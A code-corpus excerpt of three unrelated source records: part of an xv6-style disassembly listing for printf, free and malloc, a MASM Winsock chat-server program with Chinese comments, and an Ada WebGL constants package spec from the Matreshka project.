bd4: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
bd7: 31 ff xor %edi,%edi
bd9: e9 da fe ff ff jmp ab8 <printf+0x48>
bde: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
be0: 83 ec 0c sub $0xc,%esp
be3: b9 0a 00 00 00 mov $0xa,%ecx
be8: 6a 01 push $0x1
bea: e9 73 ff ff ff jmp b62 <printf+0xf2>
bef: 90 nop
write(fd, &c, 1);
bf0: 83 ec 04 sub $0x4,%esp
bf3: 88 5d e5 mov %bl,-0x1b(%ebp)
bf6: 8d 45 e5 lea -0x1b(%ebp),%eax
bf9: 6a 01 push $0x1
bfb: e9 21 ff ff ff jmp b21 <printf+0xb1>
putc(fd, *ap);
c00: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
c03: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
c06: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
c08: 6a 01 push $0x1
ap++;
c0a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
c0d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
c10: 8d 45 e4 lea -0x1c(%ebp),%eax
c13: 50 push %eax
c14: ff 75 08 pushl 0x8(%ebp)
c17: e8 16 fd ff ff call 932 <write>
ap++;
c1c: 89 7d d4 mov %edi,-0x2c(%ebp)
c1f: 83 c4 10 add $0x10,%esp
state = 0;
c22: 31 ff xor %edi,%edi
c24: e9 8f fe ff ff jmp ab8 <printf+0x48>
s = "(null)";
c29: bb fc 11 00 00 mov $0x11fc,%ebx
while(*s != 0){
c2e: b8 28 00 00 00 mov $0x28,%eax
c33: e9 72 ff ff ff jmp baa <printf+0x13a>
c38: 66 90 xchg %ax,%ax
c3a: 66 90 xchg %ax,%ax
c3c: 66 90 xchg %ax,%ax
c3e: 66 90 xchg %ax,%ax
00000c40 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
c40: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
c41: a1 fc 15 00 00 mov 0x15fc,%eax
{
c46: 89 e5 mov %esp,%ebp
c48: 57 push %edi
c49: 56 push %esi
c4a: 53 push %ebx
c4b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
c4e: 8d 4b f8 lea -0x8(%ebx),%ecx
c51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
c58: 39 c8 cmp %ecx,%eax
c5a: 8b 10 mov (%eax),%edx
c5c: 73 32 jae c90 <free+0x50>
c5e: 39 d1 cmp %edx,%ecx
c60: 72 04 jb c66 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
c62: 39 d0 cmp %edx,%eax
c64: 72 32 jb c98 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
c66: 8b 73 fc mov -0x4(%ebx),%esi
c69: 8d 3c f1 lea (%ecx,%esi,8),%edi
c6c: 39 fa cmp %edi,%edx
c6e: 74 30 je ca0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
c70: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
c73: 8b 50 04 mov 0x4(%eax),%edx
c76: 8d 34 d0 lea (%eax,%edx,8),%esi
c79: 39 f1 cmp %esi,%ecx
c7b: 74 3a je cb7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
c7d: 89 08 mov %ecx,(%eax)
freep = p;
c7f: a3 fc 15 00 00 mov %eax,0x15fc
}
c84: 5b pop %ebx
c85: 5e pop %esi
c86: 5f pop %edi
c87: 5d pop %ebp
c88: c3 ret
c89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
c90: 39 d0 cmp %edx,%eax
c92: 72 04 jb c98 <free+0x58>
c94: 39 d1 cmp %edx,%ecx
c96: 72 ce jb c66 <free+0x26>
{
c98: 89 d0 mov %edx,%eax
c9a: eb bc jmp c58 <free+0x18>
c9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
ca0: 03 72 04 add 0x4(%edx),%esi
ca3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
ca6: 8b 10 mov (%eax),%edx
ca8: 8b 12 mov (%edx),%edx
caa: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
cad: 8b 50 04 mov 0x4(%eax),%edx
cb0: 8d 34 d0 lea (%eax,%edx,8),%esi
cb3: 39 f1 cmp %esi,%ecx
cb5: 75 c6 jne c7d <free+0x3d>
p->s.size += bp->s.size;
cb7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
cba: a3 fc 15 00 00 mov %eax,0x15fc
p->s.size += bp->s.size;
cbf: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
cc2: 8b 53 f8 mov -0x8(%ebx),%edx
cc5: 89 10 mov %edx,(%eax)
}
cc7: 5b pop %ebx
cc8: 5e pop %esi
cc9: 5f pop %edi
cca: 5d pop %ebp
ccb: c3 ret
ccc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000cd0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
cd0: 55 push %ebp
cd1: 89 e5 mov %esp,%ebp
cd3: 57 push %edi
cd4: 56 push %esi
cd5: 53 push %ebx
cd6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
cd9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
cdc: 8b 15 fc 15 00 00 mov 0x15fc,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
ce2: 8d 78 07 lea 0x7(%eax),%edi
ce5: c1 ef 03 shr $0x3,%edi
ce8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
ceb: 85 d2 test %edx,%edx
ced: 0f 84 9d 00 00 00 je d90 <malloc+0xc0>
cf3: 8b 02 mov (%edx),%eax
cf5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
cf8: 39 cf cmp %ecx,%edi
cfa: 76 6c jbe d68 <malloc+0x98>
cfc: 81 ff 00 10 00 00 cmp $0x1000,%edi
d02: bb 00 10 00 00 mov $0x1000,%ebx
d07: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
d0a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
d11: eb 0e jmp d21 <malloc+0x51>
d13: 90 nop
d14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
d18: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
d1a: 8b 48 04 mov 0x4(%eax),%ecx
d1d: 39 f9 cmp %edi,%ecx
d1f: 73 47 jae d68 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
d21: 39 05 fc 15 00 00 cmp %eax,0x15fc
d27: 89 c2 mov %eax,%edx
d29: 75 ed jne d18 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
d2b: 83 ec 0c sub $0xc,%esp
d2e: 56 push %esi
d2f: e8 66 fc ff ff call 99a <sbrk>
if(p == (char*)-1)
d34: 83 c4 10 add $0x10,%esp
d37: 83 f8 ff cmp $0xffffffff,%eax
d3a: 74 1c je d58 <malloc+0x88>
hp->s.size = nu;
d3c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
d3f: 83 ec 0c sub $0xc,%esp
d42: 83 c0 08 add $0x8,%eax
d45: 50 push %eax
d46: e8 f5 fe ff ff call c40 <free>
return freep;
d4b: 8b 15 fc 15 00 00 mov 0x15fc,%edx
if((p = morecore(nunits)) == 0)
d51: 83 c4 10 add $0x10,%esp
d54: 85 d2 test %edx,%edx
d56: 75 c0 jne d18 <malloc+0x48>
return 0;
}
}
d58: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
d5b: 31 c0 xor %eax,%eax
}
d5d: 5b pop %ebx
d5e: 5e pop %esi
d5f: 5f pop %edi
d60: 5d pop %ebp
d61: c3 ret
d62: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
d68: 39 cf cmp %ecx,%edi
d6a: 74 54 je dc0 <malloc+0xf0>
p->s.size -= nunits;
d6c: 29 f9 sub %edi,%ecx
d6e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
d71: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
d74: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
d77: 89 15 fc 15 00 00 mov %edx,0x15fc
}
d7d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
d80: 83 c0 08 add $0x8,%eax
}
d83: 5b pop %ebx
d84: 5e pop %esi
d85: 5f pop %edi
d86: 5d pop %ebp
d87: c3 ret
d88: 90 nop
d89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
d90: c7 05 fc 15 00 00 00 movl $0x1600,0x15fc
d97: 16 00 00
d9a: c7 05 00 16 00 00 00 movl $0x1600,0x1600
da1: 16 00 00
base.s.size = 0;
da4: b8 00 16 00 00 mov $0x1600,%eax
da9: c7 05 04 16 00 00 00 movl $0x0,0x1604
db0: 00 00 00
db3: e9 44 ff ff ff jmp cfc <malloc+0x2c>
db8: 90 nop
db9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
dc0: 8b 08 mov (%eax),%ecx
dc2: 89 0a mov %ecx,(%edx)
dc4: eb b1 jmp d77 <malloc+0xa7>
|
wsaSock.asm
|
thisforeda/chat-server-assembly-Win-ASM
| 0 |
16940
|
;-----------------------------------------------------------
;==========聊天服务器程序 by YiDa.Z====================
;build with windows socket 2
;注意:本程序只能处理最多50个客户端连接
;1:服务器响应的基本描述:
; 客户端连接到服务器后,服务器会发生一条0302 CONNECTED消息给客户端
; 如果客户端recv到这条消息,代表服务器已收到并接受了连接请求
; 服务器支持用户昵称
; 如果客户端发送消息 'USER BigBird',服务器收到消息后会将发送消息的客户端昵称
; 改为 BigBird,此消息不会发送到所有客户端
; 其余消息例如 HELLO EVERYONE!将会发送到所有与服务器建立连接的客户端
;1:服务器发送到客户端的数据结构:
; 用C语言的结构描述大概是
; struct {
; word hour;
; word minutes;
; word seconds;
; char username[n];
; char messages[n];
; }
; 具体结构参照下方PYTHON发送和接收的数据
; >>> siz = i.send(b'USER ZhangYiDa')
; >>> siz = i.send(b'hello! everyOne!')
; >>> i.recv(9999)
; b'\x05\x00\X58\X99\X00\x00ZhangYiDa\x00hello! everyOne!\x00
; 前6个字节是消息发送时间(WORD),接着是用户名(NULL结尾)消息(NULL结尾)
;
;--------------------------------------------------------------------
.686
.model flat, stdcall
option casemap :none
include windows.inc
include macros.inc ;属于masm32v11 中的 macros.asm
include wsaSock.inc ;自定义头文件
UseLib kernel32,ws2_32 ;UseLib也是一个属于macros.asm的宏,我把它改成了大写.
.code
wsaSock proc dwIp:dword,wPort:dword
LOCAL nev:WSANETWORKEVENTS
LOCAL sin:sockaddr_in,sinLen:dword
LOCAL sock:dword,eventId:dword
LOCAL hUiS:dword,hEvS:dword
LOCAL Index:dword
invoke InitEventStruct
.if eax!=NULL && ebx!=NULL
mov hEvS ,eax ;hEvS 是指向SOCKEVENTS结构的指针
mov hUiS ,ebx ;hUiS 是指向USERINFO结构的指针
assume esi:ptr SOCKEVENTS
mov esi ,hEvS
mov [esi].wVersion ,0202h
invoke WSAStartup,[esi].wVersion,addr [esi].wsaData
invoke socket,AF_INET,SOCK_STREAM,NULL
.if eax!=INVALID_SOCKET
;填充 sockaddr_in 结构
mov sock ,eax
mov sin.sin_family ,AF_INET
mov eax ,wPort
mov sin.sin_port ,ax
m2m sin.sin_addr.S_un.S_addr ,dwIp
;绑定端口
invoke bind,sock,addr sin,addr sinLen
.if eax!=SOCKET_ERROR
;开始监听
invoke listen,sock,BACK_LOG
;为服务SOCKET创建一个事件
invoke WSACreateEvent
.if eax!=WSA_INVALID_EVENT
mov [esi].cEvent ,1
mov dword ptr [esi].events ,eax
m2m dword ptr [esi].sockets ,sock
assume esi:nothing
;为服务SOCKET添加事件 FD_ACCEPT&FD_CLOSE
invoke WSAEventSelect,sock,eax,FD_ACCEPT OR FD_CLOSE
.if eax!=SOCKET_ERROR
;esi指针从此指向 sockets 数组
;edi指针从此指向 events 数组
assume esi:ptr SOCKEVENTS
mov esi ,hEvS
lea edi ,[esi].events
lea esi ,[esi].sockets
.while TRUE
;开始捕获事件
; pushad
; print LastError$()
; mov eax ,hEvS
; assume eax:ptr SOCKEVENTS
; mov eax ,[eax].cEvent
; print udd$(eax)
; popad
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvS
invoke WSAWaitForMultipleEvents,[ebx].cEvent,edi,FALSE,WSA_INFINITE,FALSE
assume ebx:nothing
.if eax<WSA_WAIT_EVENT_0 + MAX_EVENTS
;;;WSA_WAIT_EVENT_0 值为 0
;;;sub eax ,WSA_WAIT_EVENT_0 (因为WSA_WAIT_EVENT_0 = 0,所以这条指令无所谓)
mov eventId ,eax ;暂时保持发生事件的event ID
lea ebx ,nev
;获取发生的事件
invoke WSAEnumNetworkEvents,dword ptr[esi+eax*dword],dword ptr[edi+eax*dword],ebx
.if eax!=SOCKET_ERROR
mov eax ,nev.lNetworkEvents
.if eax == FD_ACCEPT
;计算发生事件的SOCKET 的指针
mov eax ,eventId
lea ebx ,[esi+eax*dword]
;允许这个SOCKET的连接请求
invoke accept,dword ptr[ebx],addr sin,addr sinLen
.if eax!=INVALID_SOCKET
;暂时保存这个新的SOCKET
mov sock ,eax
;为这个SOCKET创建事件
invoke WSACreateEvent
.if eax!=WSA_INVALID_EVENT
;将新的SOCKET和事件添加进结构队列
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvS
mov ebx ,[ebx].cEvent
mov dword ptr[edi+ebx*dword] ,eax
m2m dword ptr[esi+ebx*dword] ,sock
;为这个事件添加所需事件(recv,send,close)
invoke WSAEventSelect,sock,eax,FD_READ OR FD_WRITE OR FD_CLOSE
.if eax!=SOCKET_ERROR
mov ebx ,hEvS
assume eax:ptr USERINFO
;计算id为cEvent的项的指针
push hEvS
push [ebx].cEvent
call calcThisIdPtr
;保存这个客户端的ip和端口
m2m [eax].uIp ,sin.sin_addr.S_un.S_addr ;用户的IP地址(DWORD值)
m2m [eax].uPort ,sin.sin_port ;用户的端口
;没有错误发生,增加需要处理的事件数cEvent
inc [ebx].cEvent
assume ebx:nothing
; ;print chr$("FD_ACCEPT")
.endif
.endif
.endif
.elseif eax == FD_READ
mov edx ,eventId
mov eax ,dword ptr[esi+edx*dword]
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvS
mov [ebx].rcvData.post ,FALSE
lea ebx ,[ebx].rcvData.data
push ebx
push eax
call Recv
mov byte ptr[ebx+eax],NULL
assume eax:ptr SOCKEVENTS
;eax ->msg sender
mov eax ,hEvS
lea eax ,[eax].users
mov eax ,dword ptr[eax+edx*dword]
assume eax:ptr USERINFO
lea eax ,[eax].uName
cmp dword ptr[ebx],'RESU'
.if ZERO?
assume eax:ptr USERINFO
add ebx ,5
.else
mov ebx ,hEvS
mov [ebx].rcvData.post ,TRUE
lea ebx ,[ebx].rcvData.user
xchg eax ,ebx
.endif
invoke lstrcpy,eax,ebx
push eventId
push hEvS
call PostRecv
; ;print chr$("FD_READ")
.elseif eax == FD_WRITE
; print chr$("FD_WRITE")
mov ebx ,eventId
mov ebx ,dword ptr[esi+ebx*dword]
;发送消息给客户端提示已连接
invoke send,ebx,addr id302,MSG_LEN,0
.elseif eax == FD_CLOSE
mov eax ,eventId
;关闭事件,并从队列中清除
invoke WSACloseEvent,dword ptr[edi+eax*dword]
invoke kickClosed,hEvS,eventId
; ;print chr$("FD_CLOSE")
.endif
.endif
.endif
.endw
.endif
;mov eax ,SELECT_EVENT_ERR
.endif
;mov eax ,CREATE_EVENT_ERR
.endif
;mov eax ,BIND_ERR
.endif
.endif
;mov eax ,SOCKET_ERR
ret
wsaSock endp
Recv proc uses ebx ecx edx sock:dword,buf:dword
invoke recv,sock,buf,MAX_RECV,0
ret
Recv endp
kickClosed proc hEv:dword,evId:dword
pushad
assume eax:ptr SOCKEVENTS
mov eax ,hEv
mov ecx ,[eax].cEvent
dec [eax].cEvent
sub ecx ,evId
;获取基地址
lea esi ,[eax].sockets
lea edi ,[eax].events
lea eax ,[eax].users
;计算需要踢出队列的ID的偏移地址
mov ebx ,evId
lea eax ,[eax+ebx*dword]
lea esi ,[esi+ebx*dword]
lea edi ,[edi+ebx*dword]
assume eax:nothing
@@:
dec ecx
jecxz @f
m2m dword ptr[edi] ,dword ptr[edi+dword]
m2m dword ptr[esi] ,dword ptr[esi+dword]
m2m dword ptr[eax] ,dword ptr[eax+dword]
add edi ,dword
add esi ,dword
add eax ,dword
jmp @b
@@:
popad
ret
kickClosed endp
PostRecv proc hEvs:dword,evId:dword
LOCAL buf[MAX_RECV]:BYTE
LOCAL tm:SYSTEMTIME
LOCAL pMsg:dword
LOCAL pUsr:dword
LOCAL pSock:dword
LOCAL Index:dword
LOCAL sSize:dword
pushad
invoke GetSystemTime,addr tm
lea eax ,buf
m2m word ptr[eax] ,tm.wHour
m2m word ptr[eax+02h] ,tm.wMinute
m2m word ptr[eax+04h] ,tm.wSecond
assume eax:ptr SOCKEVENTS
mov eax ,hEvs
.if dword ptr[eax].rcvData.post
lea ebx ,[eax].sockets
mov pSock ,ebx
mov ebx ,[eax].cEvent
mov Index ,ebx
lea esi ,[eax].rcvData.user
push eax
invoke lstrlen,esi
mov ecx ,eax
pop eax
lea ebx ,buf
lea edi ,[ebx+6]
clc
rep movsb
mov byte ptr[edi] ,0
inc edi
lea esi ,[eax].rcvData.data
invoke lstrlen,esi
mov ecx ,eax
clc
rep movsb
mov byte ptr[edi] ,0
inc edi
lea esi ,buf
sub edi ,esi
mov esi ,pSock
mov ecx ,Index
.while Index>1
add esi ,dword
invoke send,dword ptr[esi],addr buf,edi,0
dec Index
.endw
.endif
popad
ret
PostRecv endp
InitEventStruct proc
LOCAL hEvStruct:dword
LOCAL hUiStruct:dword
LOCAL hHeap:dword
invoke GetProcessHeap
mov hHeap ,eax
invoke HeapAlloc,eax,HEAP_NO_SERIALIZE OR \
HEAP_ZERO_MEMORY,sizeof SOCKEVENTS
mov hEvStruct ,eax
.if eax!=NULL
invoke HeapAlloc,hHeap,HEAP_NO_SERIALIZE OR \
HEAP_ZERO_MEMORY,sizeof USERINFO*MAX_CLIENT
mov hUiStruct ,eax
.if eax!=NULL
xor ecx ,ecx
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvStruct
lea ebx ,[ebx].users
.while ecx!=MAX_CLIENT
mov dword ptr[ebx+ecx*dword] ,eax
add eax ,sizeof USERINFO
inc ecx
.endw
.endif
.endif
mov eax ,hEvStruct
mov ebx ,hUiStruct
ret
InitEventStruct endp
calcThisIdPtr proc id:dword,hEvs:dword
push ebx
mov eax ,id
mov ebx ,hEvs
assume ebx:ptr SOCKEVENTS
lea ebx ,[ebx].users
mov eax ,dword ptr[ebx+eax*dword]
pop ebx
assume ebx:nothing
ret
calcThisIdPtr endp
DllEntry proc hInstance:HANDLE,dwReason:dword,lpvReserved:dword
mov eax ,TRUE
ret
DllEntry endp
Start proc ipaddr:dword,port:dword
invoke htons,port
push eax
invoke inet_addr,ipaddr
push eax
call wsaSock
mov eax ,-1
ret
Start endp
end DllEntry
|
source/web/tools/a2js/webapi/webgl/webapi-webgl-rendering_contexts.ads
|
svn2github/matreshka
| 0 |
29260
|
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Web Framework --
-- --
-- Web API Definition --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014-2018, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with System;
with WebAPI.HTML.Canvas_Elements;
with WebAPI.HTML.Rendering_Contexts;
with WebAPI.WebGL.Buffers;
with WebAPI.WebGL.Framebuffers;
with WebAPI.WebGL.Programs;
with WebAPI.WebGL.Renderbuffers;
with WebAPI.WebGL.Shaders;
with WebAPI.WebGL.Textures;
with WebAPI.WebGL.Uniform_Locations;
package WebAPI.WebGL.Rendering_Contexts is
pragma Preelaborate;
type WebGL_Rendering_Context is limited interface
and WebAPI.HTML.Rendering_Contexts.Rendering_Context;
type WebGL_Rendering_Context_Access is
access all WebGL_Rendering_Context'Class
with Storage_Size => 0;
---------------------
-- ClearBufferMask --
---------------------
DEPTH_BUFFER_BIT : constant := 16#00000100#;
STENCIL_BUFFER_BIT : constant := 16#00000400#;
COLOR_BUFFER_BIT : constant := 16#00004000#;
---------------
-- BeginMode --
---------------
POINTS : constant := 16#0000#;
LINES : constant := 16#0001#;
LINE_LOOP : constant := 16#0002#;
LINE_STRIP : constant := 16#0003#;
TRIANGLES : constant := 16#0004#;
TRIANGLE_STRIP : constant := 16#0005#;
TRIANGLE_FAN : constant := 16#0006#;
-- /* AlphaFunction (not supported in ES20) */
-- /* NEVER */
-- /* LESS */
-- /* EQUAL */
-- /* LEQUAL */
-- /* GREATER */
-- /* NOTEQUAL */
-- /* GEQUAL */
-- /* ALWAYS */
------------------------
-- BlendingFactorDest --
------------------------
ZERO : constant := 16#0000#;
ONE : constant := 16#0001#;
SRC_COLOR : constant := 16#0300#;
ONE_MINUS_SRC_COLOR : constant := 16#0301#;
SRC_ALPHA : constant := 16#0302#;
ONE_MINUS_SRC_ALPHA : constant := 16#0303#;
DST_ALPHA : constant := 16#0304#;
ONE_MINUS_DST_ALPHA : constant := 16#0305#;
-----------------------
-- BlendingFactorSrc --
-----------------------
DST_COLOR : constant := 16#0306#;
ONE_MINUS_DST_COLOR : constant := 16#0307#;
SRC_ALPHA_SATURATE : constant := 16#0308#;
-- /* BlendEquationSeparate */
-- const GLenum FUNC_ADD = 0x8006;
-- const GLenum BLEND_EQUATION = 0x8009;
-- const GLenum BLEND_EQUATION_RGB = 0x8009; /* same as BLEND_EQUATION */
-- const GLenum BLEND_EQUATION_ALPHA = 0x883D;
--
-- /* BlendSubtract */
-- const GLenum FUNC_SUBTRACT = 0x800A;
-- const GLenum FUNC_REVERSE_SUBTRACT = 0x800B;
--
-- /* Separate Blend Functions */
-- const GLenum BLEND_DST_RGB = 0x80C8;
-- const GLenum BLEND_SRC_RGB = 0x80C9;
-- const GLenum BLEND_DST_ALPHA = 0x80CA;
-- const GLenum BLEND_SRC_ALPHA = 0x80CB;
CONSTANT_COLOR : constant := 16#8001#;
ONE_MINUS_CONSTANT_COLOR : constant := 16#8002#;
CONSTANT_ALPHA : constant := 16#8003#;
ONE_MINUS_CONSTANT_ALPHA : constant := 16#8004#;
-- const GLenum BLEND_COLOR = 0x8005;
--------------------
-- Buffer Objects --
--------------------
ARRAY_BUFFER : constant := 16#8892#;
ELEMENT_ARRAY_BUFFER : constant := 16#8893#;
-- const GLenum ARRAY_BUFFER_BINDING = 0x8894;
-- const GLenum ELEMENT_ARRAY_BUFFER_BINDING = 0x8895;
STREAM_DRAW : constant := 16#88E0#;
STATIC_DRAW : constant := 16#88E4#;
DYNAMIC_DRAW : constant := 16#88E8#;
-- const GLenum BUFFER_SIZE = 0x8764;
-- const GLenum BUFFER_USAGE = 0x8765;
--
-- const GLenum CURRENT_VERTEX_ATTRIB = 0x8626;
--
-- /* CullFaceMode */
-- const GLenum FRONT = 0x0404;
-- const GLenum BACK = 0x0405;
-- const GLenum FRONT_AND_BACK = 0x0408;
---------------
-- EnableCap --
---------------
-- /* TEXTURE_2D */
CULL_FACE : constant := 16#0B44#;
BLEND : constant := 16#0BE2#;
DITHER : constant := 16#0BD0#;
STENCIL_TEST : constant := 16#0B90#;
DEPTH_TEST : constant := 16#0B71#;
SCISSOR_TEST : constant := 16#0C11#;
POLYGON_OFFSET_FILL : constant := 16#8037#;
SAMPLE_ALPHA_TO_COVERAGE : constant := 16#809E#;
SAMPLE_COVERAGE : constant := 16#80A0#;
-- /* ErrorCode */
-- const GLenum NO_ERROR = 0;
-- const GLenum INVALID_ENUM = 0x0500;
-- const GLenum INVALID_VALUE = 0x0501;
-- const GLenum INVALID_OPERATION = 0x0502;
-- const GLenum OUT_OF_MEMORY = 0x0505;
--
-- /* FrontFaceDirection */
-- const GLenum CW = 0x0900;
-- const GLenum CCW = 0x0901;
--
-- /* GetPName */
-- const GLenum LINE_WIDTH = 0x0B21;
-- const GLenum ALIASED_POINT_SIZE_RANGE = 0x846D;
-- const GLenum ALIASED_LINE_WIDTH_RANGE = 0x846E;
-- const GLenum CULL_FACE_MODE = 0x0B45;
-- const GLenum FRONT_FACE = 0x0B46;
-- const GLenum DEPTH_RANGE = 0x0B70;
-- const GLenum DEPTH_WRITEMASK = 0x0B72;
-- const GLenum DEPTH_CLEAR_VALUE = 0x0B73;
-- const GLenum DEPTH_FUNC = 0x0B74;
-- const GLenum STENCIL_CLEAR_VALUE = 0x0B91;
-- const GLenum STENCIL_FUNC = 0x0B92;
-- const GLenum STENCIL_FAIL = 0x0B94;
-- const GLenum STENCIL_PASS_DEPTH_FAIL = 0x0B95;
-- const GLenum STENCIL_PASS_DEPTH_PASS = 0x0B96;
-- const GLenum STENCIL_REF = 0x0B97;
-- const GLenum STENCIL_VALUE_MASK = 0x0B93;
-- const GLenum STENCIL_WRITEMASK = 0x0B98;
-- const GLenum STENCIL_BACK_FUNC = 0x8800;
-- const GLenum STENCIL_BACK_FAIL = 0x8801;
-- const GLenum STENCIL_BACK_PASS_DEPTH_FAIL = 0x8802;
-- const GLenum STENCIL_BACK_PASS_DEPTH_PASS = 0x8803;
-- const GLenum STENCIL_BACK_REF = 0x8CA3;
-- const GLenum STENCIL_BACK_VALUE_MASK = 0x8CA4;
-- const GLenum STENCIL_BACK_WRITEMASK = 0x8CA5;
-- const GLenum VIEWPORT = 0x0BA2;
-- const GLenum SCISSOR_BOX = 0x0C10;
-- /* SCISSOR_TEST */
-- const GLenum COLOR_CLEAR_VALUE = 0x0C22;
-- const GLenum COLOR_WRITEMASK = 0x0C23;
-- const GLenum UNPACK_ALIGNMENT = 0x0CF5;
-- const GLenum PACK_ALIGNMENT = 0x0D05;
-- const GLenum MAX_TEXTURE_SIZE = 0x0D33;
-- const GLenum MAX_VIEWPORT_DIMS = 0x0D3A;
-- const GLenum SUBPIXEL_BITS = 0x0D50;
-- const GLenum RED_BITS = 0x0D52;
-- const GLenum GREEN_BITS = 0x0D53;
-- const GLenum BLUE_BITS = 0x0D54;
-- const GLenum ALPHA_BITS = 0x0D55;
-- const GLenum DEPTH_BITS = 0x0D56;
-- const GLenum STENCIL_BITS = 0x0D57;
-- const GLenum POLYGON_OFFSET_UNITS = 0x2A00;
-- /* POLYGON_OFFSET_FILL */
-- const GLenum POLYGON_OFFSET_FACTOR = 0x8038;
-- const GLenum TEXTURE_BINDING_2D = 0x8069;
-- const GLenum SAMPLE_BUFFERS = 0x80A8;
-- const GLenum SAMPLES = 0x80A9;
-- const GLenum SAMPLE_COVERAGE_VALUE = 0x80AA;
-- const GLenum SAMPLE_COVERAGE_INVERT = 0x80AB;
--
-- /* GetTextureParameter */
-- /* TEXTURE_MAG_FILTER */
-- /* TEXTURE_MIN_FILTER */
-- /* TEXTURE_WRAP_S */
-- /* TEXTURE_WRAP_T */
--
-- const GLenum COMPRESSED_TEXTURE_FORMATS = 0x86A3;
--
-- /* HintMode */
